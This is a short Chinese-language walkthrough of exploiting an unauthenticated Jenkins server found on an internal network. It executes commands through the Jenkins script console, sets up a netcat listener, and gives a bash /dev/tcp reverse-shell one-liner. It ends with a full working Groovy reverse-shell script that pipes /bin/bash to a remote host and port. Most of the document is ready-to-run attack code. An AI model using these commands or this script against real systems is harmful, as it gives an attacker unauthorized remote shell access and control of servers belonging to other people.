Jenkins未授权访问+命令执行反弹shell(复现)
1、打内网的时候通过fscan扫到了一台Jenkins服务的机子
浏览器访问发现没有Jenkins没有设置密码,直接就未授权进后台了
2、在系统管理->脚本命令行
可命令执行
println "whoami".execute().text
3、反弹shell
3.1在kali上设置监听
nc -lvvp 1333
3.2在菱角社区搞一个反弹shell命令在线生成
网址:[~]#棱角 ::Edge.Forum* (ywhack.com)
这里我们随便拿一个
bash -i >& /dev/tcp/kali的ip/监听端口 0>&1
3.3在Jenkins的脚本命令行执行反弹shell命令
代码如下
反弹shell
groovy
是一种 java
扩展语言,java
我们大致了解过皮毛,可以在idea新建项目,经过简单调整格式,本地测试可以运行,String cmd
是 shell
模式,在 win
下是 cmd.exe
,在linux
下是/bin/bash
String host="x.x.x.x";
int port=1333;
String cmd="/bin/bash";
//ProcessBuilder创建操作系统进程
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed())
{while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());
while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try
{p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();